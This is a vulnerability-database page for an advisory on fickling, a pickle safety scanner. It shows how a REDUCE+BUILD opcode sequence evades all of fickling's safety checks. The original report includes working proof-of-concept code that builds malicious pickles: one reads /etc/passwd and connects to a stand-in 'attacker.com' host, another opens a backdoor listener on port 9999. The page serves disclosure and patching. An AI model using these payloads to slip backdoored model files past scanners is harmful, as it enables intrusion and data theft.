VDB
Sign up
MEDIUM

GHSA-mhc9-48gj-9gp3

Fickling has safety check bypass via REDUCE+BUILD opcode sequence

Quick fix

GHSA-mhc9-48gj-9gp3 — fickling: upgrade to the fixed version with the command below.

pip install --upgrade 'fickling>=0.1.8'

Details

# Assessment

It is believed that the analysis pass works as intended, `REDUCE` and `BUILD` are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400).

# Original report

### Summary All 5 of fickling's safety interfaces — `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager — report `LIKELY_SAFE` / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (`socketserver.TCPServer`), process persistence (`signal.signal`), outbound data exfiltration (`smtplib.SMTP`), and file creation on disk (`sqlite3.connect`). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection.

## Details

The bypass exploits three weaknesses in fickling's static analysis pipeline:

1. **`likely_safe_imports` over-inclusion** (`fickle.py:432-435`): When fickling decompiles a pickle and encounters `from smtplib import SMTP`, it adds `"SMTP"` to the `likely_safe_imports` set because `smtplib` is a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc.

2. **`OvertlyBadEvals` exemption** (`analysis.py:301-310`): The main call-level safety checker skips any call where the function name is in `likely_safe_imports`. So `SMTP('attacker.com')` is never flagged.

3. **`__setstate__` exclusion** (`fickle.py:443-446`): BUILD generates a `__setstate__` call which is excluded from the `non_setstate_calls` list. This means BUILD's call is invisible to `OvertlyBadEvals`. Additionally, BUILD consumes the REDUCE result variable, which prevents the `UnusedVariables` checker from flagging the unused assignment (the only remaining detection mechanism).

### Affected versions

All versions through 0.1.7 (latest as of 2026-02-18).

### Affected APIs

- `fickling.is_likely_safe()` - returns `True` for bypass payloads - `fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE` - `fickling --check-safety` CLI - exits with code 0 - `fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes - `fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes

## PoC

A single pickle that reads `/etc/passwd` AND opens a network connection to an attacker's server, yet fickling reports it as `LIKELY_SAFE`:

```python import io, struct, tempfile, os

def sbu(s): """SHORT_BINUNICODE opcode helper.""" b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b

def make_exfiltration_pickle(): """ Single pickle that: 1. Reads /etc/passwd via fileinput.input() 2. Opens TCP connection to attacker via smtplib.SMTP() Both operations pass as LIKELY_SAFE. """ buf = io.BytesIO() buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME payload = io.BytesIO()

# --- Operation 1: Read /etc/passwd --- payload.write(sbu("fileinput") + sbu("input") + b"\x93") # STACK_GLOBAL payload.write(sbu("/etc/passwd") + b"\x85") # arg + TUPLE1 payload.write(b"R") # REDUCE payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b") # BUILD payload.write(b"0") # POP (discard result)

# --- Operation 2: Connect to attacker --- payload.write(sbu("smtplib") + sbu("SMTP") + b"\x93") # STACK_GLOBAL payload.write(sbu("attacker.com") + b"\x85") # arg + TUPLE1 payload.write(b"R") # REDUCE payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b") # BUILD payload.write(b".") # STOP

frame_data = payload.getvalue() buf.write(struct.pack("<Q", len(frame_data))) buf.write(frame_data) return buf.getvalue()

# Generate and test data = make_exfiltration_pickle() with open("/tmp/exfil.pkl", "wb") as f: f.write(data)

import fickling print(fickling.is_likely_safe("/tmp/exfil.pkl")) # Output: True <-- BYPASSED (file read + network connection in one pickle) ```

fickling decompiles this to: ```python from fileinput import input _var0 = input('/etc/passwd') # reads /etc/passwd _var1 = _var0 _var1.__setstate__({'_x': 'y'}) from smtplib import SMTP _var2 = SMTP('attacker.com') # opens TCP connection to attacker _var3 = _var2 _var3.__setstate__({'_x': 'y'}) result = _var3 ```

Yet reports `LIKELY_SAFE` because every call is either in `likely_safe_imports` (skipped) or is `__setstate__` (excluded).

**CLI verification:** ```bash $ fickling --check-safety /tmp/exfil.pkl; echo "EXIT: $?" EXIT: 0 # BYPASSED - file read + network access passes as safe ```

**`always_check_safety()` verification:** ```python import fickling, pickle

fickling.always_check_safety()

# This should raise UnsafeFileError for malicious pickles, but doesn't: with open("/tmp/exfil.pkl", "rb") as f: result = pickle.load(f) # No exception raised — malicious code executed successfully ```

**`check_safety()` context manager verification:** ```python import fickling, pickle

with fickling.check_safety(): with open("/tmp/exfil.pkl", "rb") as f: result = pickle.load(f) # No exception raised — malicious code executed successfully ```

### Backdoor listener PoC (most impactful)

A pickle that opens a TCP listener on port 9999, binding to all interfaces:

```python import io, struct

def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b

def make_backdoor_listener(): buf = io.BytesIO() buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME payload = io.BytesIO()

# socketserver.TCPServer via STACK_GLOBAL payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93")

# Address tuple ('0.0.0.0', 9999) - needs MARK+TUPLE for mixed types payload.write(b"(") # MARK payload.write(sbu("0.0.0.0")) # host string payload.write(b"J" + struct.pack("<i", 9999)) # BININT port payload.write(b"t") # TUPLE

# Handler class via STACK_GLOBAL payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93")

payload.write(b"\x86") # TUPLE2 -> (address, handler) payload.write(b"R") # REDUCE -> TCPServer(address, handler) payload.write(b"N") # NONE payload.write(b"b") # BUILD(None) -> no-op payload.write(b".") # STOP

frame_data = payload.getvalue() buf.write(struct.pack("<Q", len(frame_data))) buf.write(frame_data) return buf.getvalue()

import fickling, pickle, socket data = make_backdoor_listener() with open("/tmp/backdoor.pkl", "wb") as f: f.write(data)

print(fickling.is_likely_safe("/tmp/backdoor.pkl")) # Output: True <-- BYPASSED

server = pickle.loads(data) # Port 9999 is now LISTENING on all interfaces

s = socket.socket() s.connect(("127.0.0.1", 9999)) print("Connected to backdoor port!") # succeeds s.close() server.server_close() ```

The TCPServer constructor calls `server_bind()` and `server_activate()` (which calls `listen()`), so the port is open and accepting connections immediately after `pickle.loads()` returns.

## Impact

An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts include:

- **Backdoor network listener**: `socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler)` opens a port on all interfaces, accepting connections from the network. The TCPServer constructor calls `server_bind()` and `server_activate()`, so the port is open immediately after `pickle.loads()` returns. - **Process persistence**: `signal.signal(SIGTERM, SIG_IGN)` makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the orchestrator cannot gracefully shut down the process — the backdoor stays alive for 30+ seconds per restart attempt. - **Outbound exfiltration channels**: `smtplib.SMTP('attacker.com')`, `ftplib.FTP('attacker.com')`, `imaplib.IMAP4('attacker.com')`, `poplib.POP3('attacker.com')` open outbound TCP connections. The attacker's server sees the connection and learns the victim's IP and hostname. - **File creation on disk**: `sqlite3.connect(path)` creates a file at an attacker-chosen path as a side effect of the constructor. - **Additional bypassed modules**: glob.glob, fileinput.input, pathlib.Path, compileall.compile_file, codeop.compile_command, logging.getLogger, zipimport.zipimporter, threading.Thread

A single pickle can combine all of the above (signal suppression + backdoor listener + network callback + file creation) into one payload. In a cloud ML environment, this enables persistent backdoor access while resisting graceful shutdown. 15 top-level stdlib modules bypass detection when BUILD is appended.

This affects any application using fickling as a safety gate for ML model files.

## Suggested Fix

Restrict `likely_safe_imports` to a curated allowlist of known-safe modules instead of trusting all stdlib modules. Additionally, either remove the `OvertlyBadEvals` exemption for `likely_safe_imports` or expand the `UNSAFE_IMPORTS` blocklist to cover network/file/compilation modules.

## Relationship to GHSA-83pf-v6qq-pwmr

GHSA-83pf-v6qq-pwmr (Low, 2026-02-19) reports 6 network-protocol modules missing from the blocklist. Adding those modules to `UNSAFE_IMPORTS` does NOT fix this vulnerability because the root cause is the `OvertlyBadEvals` exemption for `likely_safe_imports` (`analysis.py:304-310`), which skips calls to ANY stdlib function — not just those 6 modules. Our 15 tested bypass modules include `socketserver`, `signal`, `sqlite3`, `threading`, `compileall`, and others beyond the scope of that advisory.

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI/fickling
Introduced in: 0Fixed in: 0.1.8
Fixpip install --upgrade 'fickling>=0.1.8'

References